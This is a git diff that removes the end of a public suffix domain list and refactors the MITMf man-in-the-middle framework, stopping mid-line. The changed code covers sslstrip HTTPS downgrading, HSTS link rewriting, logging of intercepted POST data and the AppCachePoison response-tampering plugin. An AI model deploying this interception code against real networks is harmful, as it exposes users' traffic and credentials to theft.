-kostroma.ru -krasnoyarsk.ru -kuban.ru -kurgan.ru -kursk.ru -lipetsk.ru -magadan.ru -mari.ru -mari-el.ru -marine.ru -mordovia.ru -mosreg.ru -msk.ru -murmansk.ru -nalchik.ru -nnov.ru -nov.ru -novosibirsk.ru -nsk.ru -omsk.ru -orenburg.ru -oryol.ru -palana.ru -penza.ru -perm.ru -pskov.ru -ptz.ru -rnd.ru -ryazan.ru -sakhalin.ru -samara.ru -saratov.ru -simbirsk.ru -smolensk.ru -spb.ru -stavropol.ru -stv.ru -surgut.ru -tambov.ru -tatarstan.ru -tom.ru -tomsk.ru -tsaritsyn.ru -tsk.ru -tula.ru -tuva.ru -tver.ru -tyumen.ru -udm.ru -udmurtia.ru -ulan-ude.ru -vladikavkaz.ru -vladimir.ru -vladivostok.ru -volgograd.ru -vologda.ru -voronezh.ru -vrn.ru -vyatka.ru -yakutia.ru -yamal.ru -yaroslavl.ru -yekaterinburg.ru -yuzhno-sakhalinsk.ru -// More geographical domains -amursk.ru -baikal.ru -cmw.ru -fareast.ru -jamal.ru -kms.ru -k-uralsk.ru -kustanai.ru -kuzbass.ru -magnitka.ru -mytis.ru -nakhodka.ru -nkz.ru -norilsk.ru -oskol.ru -pyatigorsk.ru -rubtsovsk.ru -snz.ru -syzran.ru -vdonsk.ru -zgrad.ru -// State domains -gov.ru -mil.ru -// Technical domains -test.ru - -// rw : http://www.nic.rw/cgi-bin/policy.pl -rw -gov.rw -net.rw -edu.rw -ac.rw -com.rw -co.rw -int.rw -mil.rw -gouv.rw - -// sa : http://www.nic.net.sa/ -sa -com.sa -net.sa -org.sa -gov.sa -med.sa -pub.sa -edu.sa -sch.sa - -// sb : http://www.sbnic.net.sb/ -// Submitted by registry 2008-06-08 -sb -com.sb -edu.sb -gov.sb -net.sb -org.sb - -// sc : http://www.nic.sc/ -sc -com.sc -gov.sc -net.sc -org.sc -edu.sc - -// sd : http://www.isoc.sd/sudanic.isoc.sd/billing_pricing.htm -// Submitted by registry 2008-06-17 -sd -com.sd -net.sd -org.sd -edu.sd -med.sd -gov.sd -info.sd - -// se : http://en.wikipedia.org/wiki/.se -// Submitted by registry 2008-06-24 -se -a.se -ac.se -b.se -bd.se -brand.se -c.se -d.se -e.se -f.se -fh.se -fhsk.se -fhv.se -g.se -h.se -i.se -k.se -komforb.se -kommunalforbund.se -komvux.se -l.se -lanbib.se -m.se -n.se -naturbruksgymn.se -o.se -org.se -p.se -parti.se -pp.se -press.se -r.se -s.se -sshn.se -t.se -tm.se -u.se -w.se -x.se -y.se -z.se - -// sg : http://www.nic.net.sg/sub_policies_agreement/2ld.html -sg -com.sg -net.sg -org.sg -gov.sg -edu.sg -per.sg - -// sh : http://www.nic.sh/rules.html -// list of 2nd level domains ? -sh - -// si : http://en.wikipedia.org/wiki/.si -si - -// sj : No registrations at this time. -// Submitted by registry 2008-06-16 - -// sk : http://en.wikipedia.org/wiki/.sk -// list of 2nd level domains ? -sk - -// sl : http://www.nic.sl -// Submitted by registry 2008-06-12 -sl -com.sl -net.sl -edu.sl -gov.sl -org.sl - -// sm : http://en.wikipedia.org/wiki/.sm -sm - -// sn : http://en.wikipedia.org/wiki/.sn -sn -art.sn -com.sn -edu.sn -gouv.sn -org.sn -perso.sn -univ.sn - -// so : http://www.soregistry.com/ -so -com.so -net.so -org.so - -// sr : http://en.wikipedia.org/wiki/.sr -sr - -// st : http://www.nic.st/html/policyrules/ -st -co.st -com.st -consulado.st -edu.st -embaixada.st -gov.st -mil.st -net.st -org.st -principe.st -saotome.st -store.st - -// su : http://en.wikipedia.org/wiki/.su -su - -// sv : http://www.svnet.org.sv/svpolicy.html -*.sv - -// sy : http://en.wikipedia.org/wiki/.sy -// see also: http://www.gobin.info/domainname/sy.doc -sy -edu.sy -gov.sy -net.sy -mil.sy -com.sy -org.sy - -// sz : http://en.wikipedia.org/wiki/.sz -// http://www.sispa.org.sz/ -sz -co.sz -ac.sz -org.sz - -// tc : http://en.wikipedia.org/wiki/.tc -tc - -// td : http://en.wikipedia.org/wiki/.td -td - -// tel: http://en.wikipedia.org/wiki/.tel -// http://www.telnic.org/ -tel - -// tf : http://en.wikipedia.org/wiki/.tf -tf - -// tg : http://en.wikipedia.org/wiki/.tg -// http://www.nic.tg/nictg/index.php implies no reserved 2nd-level domains, -// although this contradicts wikipedia. -tg - -// th : http://en.wikipedia.org/wiki/.th -// Submitted by registry 2008-06-17 -th -ac.th -co.th -go.th -in.th -mi.th -net.th -or.th - -// tj : http://www.nic.tj/policy.htm -tj -ac.tj -biz.tj -co.tj -com.tj -edu.tj -go.tj -gov.tj -int.tj -mil.tj -name.tj -net.tj -nic.tj -org.tj -test.tj -web.tj - -// tk : http://en.wikipedia.org/wiki/.tk -tk - -// tl : http://en.wikipedia.org/wiki/.tl -tl -gov.tl - -// tm : http://www.nic.tm/rules.html -// list of 2nd level tlds ? -tm - -// tn : http://en.wikipedia.org/wiki/.tn -// http://whois.ati.tn/ -tn -com.tn -ens.tn -fin.tn -gov.tn -ind.tn -intl.tn -nat.tn -net.tn -org.tn -info.tn -perso.tn -tourism.tn -edunet.tn -rnrt.tn -rns.tn -rnu.tn -mincom.tn -agrinet.tn -defense.tn -turen.tn - -// to : http://en.wikipedia.org/wiki/.to -// Submitted by registry 2008-06-17 -to -com.to -gov.to -net.to -org.to -edu.to -mil.to - -// tr : http://en.wikipedia.org/wiki/.tr -*.tr -!nic.tr -// Used by government in the TRNC -// http://en.wikipedia.org/wiki/.nc.tr -gov.nc.tr - -// travel : http://en.wikipedia.org/wiki/.travel -travel - -// tt : http://www.nic.tt/ -tt -co.tt -com.tt -org.tt -net.tt -biz.tt -info.tt -pro.tt -int.tt -coop.tt -jobs.tt -mobi.tt -travel.tt -museum.tt -aero.tt -name.tt -gov.tt -edu.tt - -// tv : http://en.wikipedia.org/wiki/.tv -// Not listing any 2LDs as reserved since none seem to exist in practice, -// Wikipedia notwithstanding. -tv - -// tw : http://en.wikipedia.org/wiki/.tw -tw -edu.tw -gov.tw -mil.tw -com.tw -net.tw -org.tw -idv.tw -game.tw -ebiz.tw -club.tw -網路.tw -組織.tw -商業.tw - -// tz : http://en.wikipedia.org/wiki/.tz -// Submitted by registry 2008-06-17 -// Updated from http://www.tznic.or.tz/index.php/domains.html 2010-10-25 -ac.tz -co.tz -go.tz -mil.tz -ne.tz -or.tz -sc.tz - -// ua : http://www.nic.net.ua/ -ua -com.ua -edu.ua -gov.ua -in.ua -net.ua -org.ua -// ua geo-names -cherkassy.ua -chernigov.ua -chernovtsy.ua -ck.ua -cn.ua -crimea.ua -cv.ua -dn.ua -dnepropetrovsk.ua -donetsk.ua -dp.ua -if.ua -ivano-frankivsk.ua -kh.ua -kharkov.ua -kherson.ua -khmelnitskiy.ua -kiev.ua -kirovograd.ua -km.ua -kr.ua -ks.ua -kv.ua -lg.ua -lugansk.ua -lutsk.ua -lviv.ua -mk.ua -nikolaev.ua -od.ua -odessa.ua -pl.ua -poltava.ua -rovno.ua -rv.ua -sebastopol.ua -sumy.ua -te.ua -ternopil.ua -uzhgorod.ua -vinnica.ua -vn.ua -zaporizhzhe.ua -zp.ua -zhitomir.ua -zt.ua - -// ug : http://www.registry.co.ug/ -ug -co.ug -ac.ug -sc.ug -go.ug -ne.ug -or.ug - -// uk : http://en.wikipedia.org/wiki/.uk -*.uk -*.sch.uk -!bl.uk -!british-library.uk -!icnet.uk -!gov.uk -!jet.uk -!mod.uk -!nel.uk -!nhs.uk -!nic.uk -!nls.uk -!national-library-scotland.uk -!parliament.uk -!police.uk - -// us : http://en.wikipedia.org/wiki/.us -us -dni.us -fed.us -isa.us -kids.us -nsn.us -// us geographic names -ak.us -al.us -ar.us -as.us -az.us -ca.us -co.us -ct.us -dc.us -de.us -fl.us -ga.us -gu.us -hi.us -ia.us -id.us -il.us -in.us -ks.us -ky.us -la.us -ma.us -md.us -me.us -mi.us -mn.us -mo.us -ms.us -mt.us -nc.us -nd.us -ne.us -nh.us -nj.us -nm.us -nv.us -ny.us -oh.us -ok.us -or.us -pa.us -pr.us -ri.us -sc.us -sd.us -tn.us -tx.us -ut.us -vi.us -vt.us -va.us -wa.us -wi.us -wv.us -wy.us -// The registrar notes several more specific domains available in each state, -// such as state.*.us, dst.*.us, etc., but resolution of these is somewhat -// haphazard; in some states these domains resolve as addresses, while in others -// only subdomains are available, or even nothing at all. We include the -// most common ones where it's clear that different sites are different -// entities. -k12.ak.us -k12.al.us -k12.ar.us -k12.as.us -k12.az.us -k12.ca.us -k12.co.us -k12.ct.us -k12.dc.us -k12.de.us -k12.fl.us -k12.ga.us -k12.gu.us -// k12.hi.us Hawaii has a state-wide DOE login: bug 614565 -k12.ia.us -k12.id.us -k12.il.us -k12.in.us -k12.ks.us -k12.ky.us -k12.la.us -k12.ma.us -k12.md.us -k12.me.us -k12.mi.us -k12.mn.us -k12.mo.us -k12.ms.us -k12.mt.us -k12.nc.us -k12.nd.us -k12.ne.us -k12.nh.us -k12.nj.us -k12.nm.us -k12.nv.us -k12.ny.us -k12.oh.us -k12.ok.us -k12.or.us -k12.pa.us -k12.pr.us -k12.ri.us -k12.sc.us -k12.sd.us -k12.tn.us -k12.tx.us -k12.ut.us -k12.vi.us -k12.vt.us -k12.va.us -k12.wa.us -k12.wi.us -k12.wv.us -k12.wy.us - -cc.ak.us -cc.al.us -cc.ar.us -cc.as.us -cc.az.us -cc.ca.us -cc.co.us -cc.ct.us -cc.dc.us -cc.de.us -cc.fl.us -cc.ga.us -cc.gu.us -cc.hi.us -cc.ia.us -cc.id.us -cc.il.us -cc.in.us -cc.ks.us -cc.ky.us -cc.la.us -cc.ma.us -cc.md.us -cc.me.us -cc.mi.us -cc.mn.us -cc.mo.us -cc.ms.us -cc.mt.us -cc.nc.us -cc.nd.us -cc.ne.us -cc.nh.us -cc.nj.us -cc.nm.us -cc.nv.us -cc.ny.us -cc.oh.us -cc.ok.us -cc.or.us -cc.pa.us -cc.pr.us -cc.ri.us -cc.sc.us -cc.sd.us -cc.tn.us -cc.tx.us -cc.ut.us -cc.vi.us -cc.vt.us -cc.va.us -cc.wa.us -cc.wi.us -cc.wv.us -cc.wy.us - -lib.ak.us -lib.al.us -lib.ar.us -lib.as.us -lib.az.us -lib.ca.us -lib.co.us -lib.ct.us -lib.dc.us -lib.de.us -lib.fl.us -lib.ga.us -lib.gu.us -lib.hi.us -lib.ia.us -lib.id.us -lib.il.us -lib.in.us -lib.ks.us -lib.ky.us -lib.la.us -lib.ma.us -lib.md.us -lib.me.us -lib.mi.us -lib.mn.us -lib.mo.us -lib.ms.us -lib.mt.us -lib.nc.us -lib.nd.us -lib.ne.us -lib.nh.us -lib.nj.us -lib.nm.us -lib.nv.us -lib.ny.us -lib.oh.us -lib.ok.us -lib.or.us -lib.pa.us -lib.pr.us -lib.ri.us -lib.sc.us -lib.sd.us -lib.tn.us -lib.tx.us -lib.ut.us -lib.vi.us -lib.vt.us -lib.va.us -lib.wa.us -lib.wi.us -lib.wv.us -lib.wy.us - -// k12.ma.us contains school districts in Massachusetts. The 4LDs are -// managed indepedently except for private (PVT), charter (CHTR) and -// parochial (PAROCH) schools. Those are delegated dorectly to the -// 5LD operators. -pvt.k12.ma.us -chtr.k12.ma.us -paroch.k12.ma.us - -// uy : http://www.antel.com.uy/ -*.uy - -// uz : http://www.reg.uz/registerr.html -// are there other 2nd level tlds ? -uz -com.uz -co.uz - -// va : http://en.wikipedia.org/wiki/.va -va - -// vc : http://en.wikipedia.org/wiki/.vc -// Submitted by registry 2008-06-13 -vc -com.vc -net.vc -org.vc -gov.vc -mil.vc -edu.vc - -// ve : http://registro.nic.ve/nicve/registro/index.html -*.ve - -// vg : http://en.wikipedia.org/wiki/.vg -vg - -// vi : http://www.nic.vi/newdomainform.htm -// http://www.nic.vi/Domain_Rules/body_domain_rules.html indicates some other -// TLDs are "reserved", such as edu.vi and gov.vi, but doesn't actually say they -// are available for registration (which they do not seem to be). -vi -co.vi -com.vi -k12.vi -net.vi -org.vi - -// vn : https://www.dot.vn/vnnic/vnnic/domainregistration.jsp -vn -com.vn -net.vn -org.vn -edu.vn -gov.vn -int.vn -ac.vn -biz.vn -info.vn -name.vn -pro.vn -health.vn - -// vu : http://en.wikipedia.org/wiki/.vu -// list of 2nd level tlds ? -vu - -// ws : http://en.wikipedia.org/wiki/.ws -// http://samoanic.ws/index.dhtml -ws -com.ws -net.ws -org.ws -gov.ws -edu.ws - -// IDN ccTLDs -// Please sort by ISO 3166 ccTLD, then punicode string -// when submitting patches and follow this format: -// ("" ) : -// [optional sponsoring org] -// - -// xn--mgbaam7a8h ("Emerat" Arabic) : AE -//http://nic.ae/english/arabicdomain/rules.jsp -امارات - -// xn--54b7fta0cc ("Bangla" Bangla) : BD -বাংলা - -// xn--fiqs8s ("China" Chinese-Han-Simplified <.Zhonggou>) : CN -// CNNIC -// http://cnnic.cn/html/Dir/2005/10/11/3218.htm -中国 - -// xn--fiqz9s ("China" Chinese-Han-Traditional <.Zhonggou>) : CN -// CNNIC -// http://cnnic.cn/html/Dir/2005/10/11/3218.htm -中國 - -// xn--lgbbat1ad8j ("Algeria / Al Jazair" Arabic) : DZ -الجزائر - -// xn--wgbh1c ("Egypt" Arabic .masr) : EG -// http://www.dotmasr.eg/ -مصر - -// xn--node ("ge" Georgian (Mkhedruli)) : GE -გე - -// xn--j6w193g ("Hong Kong" Chinese-Han) : HK -// https://www2.hkirc.hk/register/rules.jsp -香港 - -// xn--h2brj9c ("Bharat" Devanagari) : IN -// India -भारत - -// xn--mgbbh1a71e ("Bharat" Arabic) : IN -// India -بھارت - -// xn--fpcrj9c3d ("Bharat" Telugu) : IN -// India -భారత్ - -// xn--gecrj9c ("Bharat" Gujarati) : IN -// India -ભારત - -// xn--s9brj9c ("Bharat" Gurmukhi) : IN -// India -ਭਾਰਤ - -// xn--45brj9c ("Bharat" Bengali) : IN -// India -ভারত - -// xn--xkc2dl3a5ee0h ("India" Tamil) : IN -// India -இந்தியா - -// xn--mgba3a4f16a ("Iran" Persian) : IR -ایران - -// xn--mgba3a4fra ("Iran" Arabic) : IR -ايران - -//xn--mgbayh7gpa ("al-Ordon" Arabic) JO -//National Information Technology Center (NITC) -//Royal Scientific Society, Al-Jubeiha -الاردن - -// xn--3e0b707e ("Republic of Korea" Hangul) : KR -한국 - -// xn--fzc2c9e2c ("Lanka" Sinhalese-Sinhala) : LK -// http://nic.lk -ලංකා - -// xn--xkc2al3hye2a ("Ilangai" Tamil) : LK -// http://nic.lk -இலங்கை - -// xn--mgbc0a9azcg ("Morocco / al-Maghrib" Arabic) : MA -المغرب - -// xn--mgb9awbf ("Oman" Arabic) : OM -عمان - -// xn--ygbi2ammx ("Falasteen" Arabic) : PS -// The Palestinian National Internet Naming Authority (PNINA) -// http://www.pnina.ps -فلسطين - -// xn--90a3ac ("srb" Cyrillic) : RS -срб - -// xn--p1ai ("rf" Russian-Cyrillic) : RU -// http://www.cctld.ru/en/docs/rulesrf.php -рф - -// xn--wgbl6a ("Qatar" Arabic) : QA -// http://www.ict.gov.qa/ -قطر - -// xn--mgberp4a5d4ar ("AlSaudiah" Arabic) : SA -// http://www.nic.net.sa/ -السعودية - -// xn--mgberp4a5d4a87g ("AlSaudiah" Arabic) variant : SA -السعودیة - -// xn--mgbqly7c0a67fbc ("AlSaudiah" Arabic) variant : SA -السعودیۃ - -// xn--mgbqly7cvafr ("AlSaudiah" Arabic) variant : SA -السعوديه - -// xn--ogbpf8fl ("Syria" Arabic) : SY -سورية - -// xn--mgbtf8fl ("Syria" Arabic) variant : SY -سوريا - -// xn--yfro4i67o Singapore ("Singapore" Chinese-Han) : SG -新加坡 - -// xn--clchc0ea0b2g2a9gcd ("Singapore" Tamil) : SG -சிங்கப்பூர் - -// xn--o3cw4h ("Thai" Thai) : TH -// http://www.thnic.co.th -ไทย - -// xn--pgbs0dh ("Tunis") : TN -// http://nic.tn -تونس - -// xn--kpry57d ("Taiwan" Chinese-Han-Traditional) : TW -// http://www.twnic.net/english/dn/dn_07a.htm -台灣 - -// xn--kprw13d ("Taiwan" Chinese-Han-Simplified) : TW -// http://www.twnic.net/english/dn/dn_07a.htm -台湾 - -// xn--nnx388a ("Taiwan") variant : TW -臺灣 - -// xn--j1amh ("ukr" Cyrillic) : UA -укр - -// xn--mgb2ddes ("AlYemen" Arabic) : YE -اليمن - -// xxx : http://icmregistry.com -xxx - -// ye : http://www.y.net.ye/services/domain_name.htm -*.ye - -// yu : http://www.nic.yu/pravilnik-e.html -*.yu - -// za : http://www.zadna.org.za/slds.html -*.za - -// zm : http://en.wikipedia.org/wiki/.zm -*.zm - -// zw : http://en.wikipedia.org/wiki/.zw -*.zw diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 9fe76cb..d9175a3 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -42,6 +42,10 @@ class ProxyPlugins: in handleResponse, but is still annoying. ''' _instance = None + + plist = [] + mthdDict = {"connectionMade": "clientRequest", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"} + pmthds = {} @staticmethod def getInstance(): @@ -50,13 +54,9 @@ class ProxyPlugins: return ProxyPlugins._instance - def setPlugins(self,plugins): + def setPlugins(self, plugins): '''Set the plugins in use''' - self.plist = [] - - #build a lookup list - #need to clean up in future - self.pmthds = {} + for p in plugins: self.addPlugin(p) @@ -66,17 +66,17 @@ class ProxyPlugins: '''Load a plugin''' self.plist.append(p) mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) - for mthd in p.implements: + for mthd,pmthd in self.mthdDict.iteritems(): try: - self.pmthds[mthd].append(getattr(p,mthd)) + self.pmthds[mthd].append(getattr(p,pmthd)) except KeyError: - self.pmthds[mthd] = [getattr(p,mthd)] + self.pmthds[mthd] = [getattr(p,pmthd)] def removePlugin(self,p): '''Unload a plugin''' self.plist.remove(p) mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) - for mthd in p.implements: + for mthd,pmthd in self.mthdDict.iteritems(): self.pmthds[mthd].remove(p) def hook(self): @@ -92,9 +92,15 @@ class ProxyPlugins: args[key] = values[key] #prevent self conflict - args['request'] = args['self'] + if (fname == "handleResponse") or (fname == "handleHeader") or (fname == "handleEndHeaders"): + args['request'] = args['self'] + args['response'] = args['self'].client + else: + args['request'] = args['self'] + del args['self'] + mitmf_logger.debug("[ProxyPlugins] hooking {}()".format(fname)) #calls any plugin that has this hook try: for f in self.pmthds[fname]: diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index df60e20..67b6dba 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -16,7 +16,13 @@ # USA # -import urlparse, logging, os, sys, random, re, dns.resolver +import urlparse +import logging +import os +import sys +import random +import re +import dns.resolver from twisted.web.http import Request from twisted.web.http import HTTPChannel @@ -33,7 +39,6 @@ from SSLServerConnection import SSLServerConnection from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger('mitmf') @@ -52,7 +57,6 @@ class ClientRequest(Request): self.hsts = URLMonitor.getInstance().hsts self.cookieCleaner = CookieCleaner.getInstance() self.dnsCache = DnsCache.getInstance() - self.plugins = ProxyPlugins.getInstance() #self.uniqueId = random.randint(0, 10000) #Use are own DNS server instead of reactor.resolve() @@ -62,9 +66,6 @@ class ClientRequest(Request): def cleanHeaders(self): headers = self.getAllHeaders().copy() - #for k,v in headers.iteritems(): - # mitmf_logger.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) - if self.hsts: if 'referer' in headers: @@ -92,8 +93,6 @@ class ClientRequest(Request): if 'cache-control' in headers: del headers['cache-control'] - self.plugins.hook() - return headers def getPathFromUri(self): @@ -111,7 +110,7 @@ class ClientRequest(Request): if os.path.exists(scriptPath): return scriptPath - mitmf_logger.warning("Error: Could not find lock.ico") + mitmf_logger.warning("[ClientRequest] Error: Could not find lock.ico") return "lock.ico" def handleHostResolvedSuccess(self, address): diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 4f3cb11..994e106 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -16,14 +16,16 @@ # USA # -import logging, re, string, random, zlib, gzip, StringIO, sys -import plugins - -try: - from user_agents import parse -except: - pass +import logging +import re +import string +import random +import zlib +import gzip +import StringIO +import sys +from user_agents import parse from twisted.web.http import HTTPClient from URLMonitor import URLMonitor from core.sergioproxy.ProxyPlugins import ProxyPlugins @@ -53,6 +55,7 @@ class ServerConnection(HTTPClient): self.postData = postData self.headers = headers self.client = client + self.printPostData = True self.clientInfo = None self.urlMonitor = URLMonitor.getInstance() self.hsts = URLMonitor.getInstance().hsts @@ -78,22 +81,17 @@ class ServerConnection(HTTPClient): mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host'])) mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) - self.plugins.hook() self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - mitmf_logger.debug("[ServerConnection] Sending header: ({} => {})".format(header, value)) + mitmf_logger.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) self.sendHeader(header, value) self.endHeaders() def sendPostData(self): - if 'clientprfl' in self.uri: - self.plugins.hook() - elif 'keylog' in self.uri: - self.plugins.hook() - else: + if self.printPostData is True: #So we can disable printing POST data coming from plugins try: postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging if len(postdata) > 0: @@ -101,8 +99,9 @@ class ServerConnection(HTTPClient): except UnicodeDecodeError and UnicodeEncodeError: mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host'])) pass - - self.transport.write(self.postData) + + self.printPostData = True + self.transport.write(self.postData) def connectionMade(self): mitmf_logger.debug("[ServerConnection] HTTP connection made.") @@ -118,8 +117,6 @@ class ServerConnection(HTTPClient): self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): - mitmf_logger.debug("[ServerConnection] Receiving header ({}: {})".format(key, value)) - if (key.lower() == 'location'): value = self.replaceSecureLinks(value) if self.app: @@ -128,11 +125,11 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - mitmf_logger.debug("[ServerConnection] Response is image content, not scanning...") + mitmf_logger.debug("[ServerConnection] Response is image content, not scanning") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - mitmf_logger.debug("[ServerConnection] Response is compressed...") + mitmf_logger.debug("[ServerConnection] Response is compressed") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): @@ -147,15 +144,19 @@ class ServerConnection(HTTPClient): else: self.client.setHeader(key, value) + def handleEndHeaders(self): + if (self.isImageRequest and self.contentLength != None): + self.client.setHeader("Content-Length", self.contentLength) + + if self.length == 0: + self.shutdown() + self.plugins.hook() - def handleEndHeaders(self): - if (self.isImageRequest and self.contentLength != None): - self.client.setHeader("Content-Length", self.contentLength) + if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": + for header, value in self.client.headers.iteritems(): + mitmf_logger.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) - if self.length == 0: - self.shutdown() - def handleResponsePart(self, data): if (self.isImageRequest): self.client.write(data) @@ -175,15 +176,11 @@ class ServerConnection(HTTPClient): if (self.isCompressed): mitmf_logger.debug("[ServerConnection] Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() - - if len(data) < 1500: - mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data:\n{}".format(len(data), data)) - else: - mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) data = self.replaceSecureLinks(data) - res = self.plugins.hook() - data = res['data'] + data = self.plugins.hook()['data'] + + mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) @@ -212,7 +209,7 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("[ServerConnection] Found secure reference: " + url) + mitmf_logger.debug("[ServerConnection][HSTS] Found secure reference: " + url) nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) sustitucion[url] = nuevaurl diff --git a/core/utils.py b/core/utils.py index 059cc61..38845f0 100644 --- a/core/utils.py +++ b/core/utils.py @@ -30,51 +30,6 @@ from scapy.all import get_if_addr, get_if_hwaddr mitmf_logger = logging.getLogger('mitmf') -class ImportDir: - #--------------------------------------------------------------------------------------------------- - # http://gitlab.com/aurelien-lourot/importdir - #--------------------------------------------------------------------------------------------------- - - # File name of a module: - __module_file_regexp = "(.+)\.py(c?)$" - - #--------------------------------------------------------------------------------------------------- - # Interface - #--------------------------------------------------------------------------------------------------- - - def do(self, path, env): - """ Imports all modules residing directly in directory "path" into the provided environment - (usually the callers environment). A typical call: - importdir.do("example_dir", globals()) - """ - self.__do(path, env) - - - #--------------------------------------------------------------------------------------------------- - # Implementation - #--------------------------------------------------------------------------------------------------- - - def get_module_names_in_dir(self, path): - """ Returns a set of all module names residing directly in directory "path". - """ - result = set() - - # Looks for all python files in the directory (not recursively) and add their name to result: - for entry in os.listdir(path): - if os.path.isfile(os.path.join(path, entry)): - regexp_result = re.search(self.__module_file_regexp, entry) - if regexp_result: # is a module file name - result.add(regexp_result.groups()[0]) - - return result - - def __do(self, path, env): - """ Implements do(). - """ - sys.path.append(path) # adds provided directory to list we can import from - for module_name in sorted(self.get_module_names_in_dir(path)): # for each found module... - env[module_name] = __import__(module_name) # ... import - class SystemConfig: @staticmethod diff --git a/mitmf.py b/mitmf.py index df3ed01..6820952 100755 --- a/mitmf.py +++ b/mitmf.py @@ -83,7 +83,7 @@ try: sgroup.add_argument("--{}".format(p.optname), action="store_true",help="Load plugin {}".format(p.name)) if p.has_opts: - p.add_options(sgroup) + p.pluginOptions(sgroup) arg_dict[p.optname] = vars(sgroup)['_group_actions'] @@ -101,10 +101,10 @@ args = parser.parse_args() for plugin, options in arg_dict.iteritems(): if vars(args)[plugin] is False: for option in options: - if vars(args)[option.dest] is True: - sys.exit("[-] Called plugin options without invoking --{}".format(plugin)) + if vars(args)[option.dest]: + sys.exit("[-] Called plugin options without invoking the actual plugin (--{})".format(plugin)) -#first check to see if we supplied a valid interface +#check to see if we supplied a valid interface myip = SystemConfig.getIP(args.interface) mymac = SystemConfig.getMAC(args.interface) @@ -181,7 +181,7 @@ from core.dnschef.DNSchef import DNSChef DNSChef.getInstance().start() print "|_ DNSChef v{} online".format(DNSChef.version) -#start the SMB server +#Start the SMB server from core.protocols.smb.SMBserver import SMBserver print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) SMBserver().start() diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 4b787b9..296522f 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -1,6 +1,6 @@ #!/usr/bin/env python2.7 -# Copyright (c) 2014-2016 Marcello Salvati +# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as @@ -18,8 +18,6 @@ # USA # -# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz - import logging import re import os.path @@ -33,10 +31,9 @@ from core.sslstrip.URLMonitor import URLMonitor mitmf_logger = logging.getLogger("mitmf") class AppCachePlugin(Plugin): - name = "App Cache Poison" + name = "AppCachePoison" optname = "appoison" desc = "Performs App Cache Poisoning attacks" - implements = ["handleResponse"] version = "0.3" has_opts = False @@ -47,7 +44,9 @@ class AppCachePlugin(Plugin): self.urlMonitor.setAppCachePoisoning() - def handleResponse(self, request, data): + def serverResponse(self, response, request, data): + + #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future self.app_config = self.config['AppCachePoison'] # so we reload the config on each request url = request.client.uri @@ -60,22 +59,22 @@ class AppCachePlugin(Plugin): if "enable_only_in_useragents" in self.app_config: regexp = self.app_config["enable_only_in_useragents"] if regexp and not re.search(regexp,req_headers["user-agent"]): - mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"])) - return {'request': request, 'data': data} + mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"])) + return {'response': response, 'request': request, 'data': data} urls = self.urlMonitor.getRedirectionSet(url) - mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls)) + mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls)) (name,s,element,url) = self.getSectionForUrls(urls) if s is False: data = self.tryMassPoison(url, data, headers, req_headers, ip) - return {'request': request, 'data': data} + return {'response': response, 'request': request, 'data': data} - mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name)) + mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name)) p = self.getTemplatePrefix(s) if element == 'tamper': - mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p)) + mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p)) if os.path.exists(p + '.replace'): # replace whole content f = open(p + '.replace','r') data = self.decorate(f.read(), s) @@ -92,12 +91,12 @@ class AppCachePlugin(Plugin): data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) self.mass_poisoned_browsers.append(browser_id) # mark to 